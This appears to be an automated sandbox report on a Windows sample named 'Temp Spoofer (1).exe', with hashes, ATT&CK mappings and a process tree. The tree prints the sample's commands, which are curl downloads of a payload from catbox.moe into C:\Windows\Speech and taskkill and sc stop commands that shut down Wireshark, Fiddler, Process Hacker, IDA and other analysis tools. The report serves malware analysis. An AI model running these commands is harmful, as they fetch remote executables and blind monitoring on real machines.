1a54e3dd3ee11f50480247c45562ab2d12ba0dc80863020bc44b4e9ee98cd7cc

Analysis

max time kernel
149s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
22-11-2024 15:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Temp Spoofer (1).exe
Size

80KB
MD5

4bade4cf3e468836937dffc66f28833a
SHA1

0c36e2126793f13cc9f30584feb32f637590a951
SHA256

1a54e3dd3ee11f50480247c45562ab2d12ba0dc80863020bc44b4e9ee98cd7cc
SHA512

160f02b8ac61047f3384ea42f40f98b4f3455aca97eae229c911c146a81941e665613ed6989724604956a9b5f4f4a948da1410f0d885a1c9f7ca454ff29497fb
SSDEEP

1536:uOmuEFBmau8ikz/S86fzhge8YaKCuWm5SepcVf:u2Krz/S86rh9CuWm5BpcV

Score

8^/10

evasion execution

Malware Config

Signatures

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
2124	sc.exe
2816	sc.exe
1760	sc.exe
1592	sc.exe
1748	sc.exe
2964	sc.exe
1788	sc.exe
2872	sc.exe
580	sc.exe
3056	sc.exe
2392	sc.exe
2720	sc.exe
2804	sc.exe
1972	sc.exe

Kills process with taskkill 26 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1892	taskkill.exe
956	taskkill.exe
300	taskkill.exe
2328	taskkill.exe
3008	taskkill.exe
2620	taskkill.exe
2668	taskkill.exe
1916	taskkill.exe
2000	taskkill.exe
1296	taskkill.exe
2924	taskkill.exe
2468	taskkill.exe
2788	taskkill.exe
2708	taskkill.exe
2824	taskkill.exe
2900	taskkill.exe
1284	taskkill.exe
1536	taskkill.exe
2440	taskkill.exe
1252	taskkill.exe
640	taskkill.exe
908	taskkill.exe
2580	taskkill.exe
2100	taskkill.exe
2636	taskkill.exe
1576	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

Temp Spoofer (1).exe

pid	process
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe
2496	Temp Spoofer (1).exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

Processes:

description	pid	process
Token: SeDebugPrivilege	2468	taskkill.exe
Token: SeDebugPrivilege	2328	taskkill.exe
Token: SeDebugPrivilege	2788	taskkill.exe
Token: SeDebugPrivilege	3008	taskkill.exe
Token: SeDebugPrivilege	2580	taskkill.exe
Token: SeDebugPrivilege	2100	taskkill.exe
Token: SeDebugPrivilege	2708	taskkill.exe
Token: SeDebugPrivilege	2824	taskkill.exe
Token: SeDebugPrivilege	2636	taskkill.exe
Token: SeDebugPrivilege	2620	taskkill.exe
Token: SeDebugPrivilege	1252	taskkill.exe
Token: SeDebugPrivilege	640	taskkill.exe
Token: SeDebugPrivilege	2900	taskkill.exe
Token: SeDebugPrivilege	2000	taskkill.exe
Token: SeDebugPrivilege	1296	taskkill.exe
Token: SeDebugPrivilege	2924	taskkill.exe
Token: SeDebugPrivilege	2668	taskkill.exe
Token: SeDebugPrivilege	1916	taskkill.exe
Token: SeDebugPrivilege	1892	taskkill.exe
Token: SeDebugPrivilege	956	taskkill.exe
Token: SeDebugPrivilege	1284	taskkill.exe
Token: SeDebugPrivilege	1576	taskkill.exe
Token: SeDebugPrivilege	908	taskkill.exe
Token: SeDebugPrivilege	1536	taskkill.exe
Token: SeDebugPrivilege	2440	taskkill.exe
Token: SeDebugPrivilege	300	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Temp Spoofer (1).execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2496 wrote to memory of 2052	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2052	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2052	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2344	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2344	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2344	2496	Temp Spoofer (1).exe	cmd.exe
PID 2344 wrote to memory of 2468	2344	cmd.exe	taskkill.exe
PID 2344 wrote to memory of 2468	2344	cmd.exe	taskkill.exe
PID 2344 wrote to memory of 2468	2344	cmd.exe	taskkill.exe
PID 2496 wrote to memory of 2664	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2664	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2664	2496	Temp Spoofer (1).exe	cmd.exe
PID 2664 wrote to memory of 2328	2664	cmd.exe	taskkill.exe
PID 2664 wrote to memory of 2328	2664	cmd.exe	taskkill.exe
PID 2664 wrote to memory of 2328	2664	cmd.exe	taskkill.exe
PID 2496 wrote to memory of 2712	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2712	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2712	2496	Temp Spoofer (1).exe	cmd.exe
PID 2712 wrote to memory of 2720	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2720	2712	cmd.exe	sc.exe
PID 2712 wrote to memory of 2720	2712	cmd.exe	sc.exe
PID 2496 wrote to memory of 2784	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2784	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2784	2496	Temp Spoofer (1).exe	cmd.exe
PID 2784 wrote to memory of 2788	2784	cmd.exe	taskkill.exe
PID 2784 wrote to memory of 2788	2784	cmd.exe	taskkill.exe
PID 2784 wrote to memory of 2788	2784	cmd.exe	taskkill.exe
PID 2496 wrote to memory of 2724	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2724	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2724	2496	Temp Spoofer (1).exe	cmd.exe
PID 2724 wrote to memory of 3008	2724	cmd.exe	taskkill.exe
PID 2724 wrote to memory of 3008	2724	cmd.exe	taskkill.exe
PID 2724 wrote to memory of 3008	2724	cmd.exe	taskkill.exe
PID 2496 wrote to memory of 2792	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2792	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2792	2496	Temp Spoofer (1).exe	cmd.exe
PID 2792 wrote to memory of 2580	2792	cmd.exe	taskkill.exe
PID 2792 wrote to memory of 2580	2792	cmd.exe	taskkill.exe
PID 2792 wrote to memory of 2580	2792	cmd.exe	taskkill.exe
PID 2496 wrote to memory of 2732	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2732	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2732	2496	Temp Spoofer (1).exe	cmd.exe
PID 2732 wrote to memory of 2100	2732	cmd.exe	taskkill.exe
PID 2732 wrote to memory of 2100	2732	cmd.exe	taskkill.exe
PID 2732 wrote to memory of 2100	2732	cmd.exe	taskkill.exe
PID 2496 wrote to memory of 2596	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2596	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2596	2496	Temp Spoofer (1).exe	cmd.exe
PID 2596 wrote to memory of 2708	2596	cmd.exe	taskkill.exe
PID 2596 wrote to memory of 2708	2596	cmd.exe	taskkill.exe
PID 2596 wrote to memory of 2708	2596	cmd.exe	taskkill.exe
PID 2496 wrote to memory of 2684	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2684	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2684	2496	Temp Spoofer (1).exe	cmd.exe
PID 2684 wrote to memory of 2824	2684	cmd.exe	taskkill.exe
PID 2684 wrote to memory of 2824	2684	cmd.exe	taskkill.exe
PID 2684 wrote to memory of 2824	2684	cmd.exe	taskkill.exe
PID 2496 wrote to memory of 2592	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2592	2496	Temp Spoofer (1).exe	cmd.exe
PID 2496 wrote to memory of 2592	2496	Temp Spoofer (1).exe	cmd.exe
PID 2592 wrote to memory of 2636	2592	cmd.exe	taskkill.exe
PID 2592 wrote to memory of 2636	2592	cmd.exe	taskkill.exe
PID 2592 wrote to memory of 2636	2592	cmd.exe	taskkill.exe
PID 2496 wrote to memory of 2200	2496	Temp Spoofer (1).exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\Temp Spoofer (1).exe
"C:\Users\Admin\AppData\Local\Temp\Temp Spoofer (1).exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2496
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/sx1s7p.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  PID:2052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerUI.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im HTTPDebuggerUI.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerSvc.exe >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im HTTPDebuggerSvc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:2720
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2732
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2100
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq rawshark*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2684
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq rawshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq charles*" /IM * /F /T >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2592
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq charles*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2200
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq ida*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2140
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq ida*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
  PID:468
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
  2⤵
  PID:1776
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  PID:2560
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:2804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker3 >nul 2>&1
  2⤵
  PID:2800
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker3
    3⤵
    - Launches sc.exe
    PID:2816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker2 >nul 2>&1
  2⤵
  PID:2972
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker2
    3⤵
    - Launches sc.exe
    PID:2872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker1 >nul 2>&1
  2⤵
  PID:536
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker1
    3⤵
    - Launches sc.exe
    PID:1972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop wireshark >nul 2>&1
  2⤵
  PID:772
- - C:\Windows\system32\sc.exe
    sc stop wireshark
    3⤵
    - Launches sc.exe
    PID:1748
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop npf >nul 2>&1
  2⤵
  PID:2868
- - C:\Windows\system32\sc.exe
    sc stop npf
    3⤵
    - Launches sc.exe
    PID:2964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerUI.exe >nul 2>&1
  2⤵
  PID:1332
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im HTTPDebuggerUI.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerSvc.exe >nul 2>&1
  2⤵
  PID:2004
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im HTTPDebuggerSvc.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  PID:1132
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:1760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2932
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2912
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2668
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2088
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T >nul 2>&1
  2⤵
  PID:880
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T >nul 2>&1
  2⤵
  PID:992
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:956
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq rawshark*" /IM * /F /T >nul 2>&1
  2⤵
  PID:2452
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq rawshark*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq charles*" /IM * /F /T >nul 2>&1
  2⤵
  PID:1636
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq charles*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T >nul 2>&1
  2⤵
  PID:1732
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq ida*" /IM * /F /T >nul 2>&1
  2⤵
  PID:1608
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq ida*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T >nul 2>&1
  2⤵
  PID:1784
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T >nul 2>&1
  2⤵
  PID:1508
- - C:\Windows\system32\taskkill.exe
    taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
  2⤵
  PID:1384
- - C:\Windows\system32\sc.exe
    sc stop HTTPDebuggerPro
    3⤵
    - Launches sc.exe
    PID:580
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker3 >nul 2>&1
  2⤵
  PID:2476
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker3
    3⤵
    - Launches sc.exe
    PID:3056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker2 >nul 2>&1
  2⤵
  PID:1476
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker2
    3⤵
    - Launches sc.exe
    PID:1592
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop KProcessHacker1 >nul 2>&1
  2⤵
  PID:2520
- - C:\Windows\system32\sc.exe
    sc stop KProcessHacker1
    3⤵
    - Launches sc.exe
    PID:1788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop wireshark >nul 2>&1
  2⤵
  PID:2236
- - C:\Windows\system32\sc.exe
    sc stop wireshark
    3⤵
    - Launches sc.exe
    PID:2392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc stop npf >nul 2>&1
  2⤵
  PID:352
- - C:\Windows\system32\sc.exe
    sc stop npf
    3⤵
    - Launches sc.exe
    PID:2124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:3000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/acowqp.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  PID:1492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads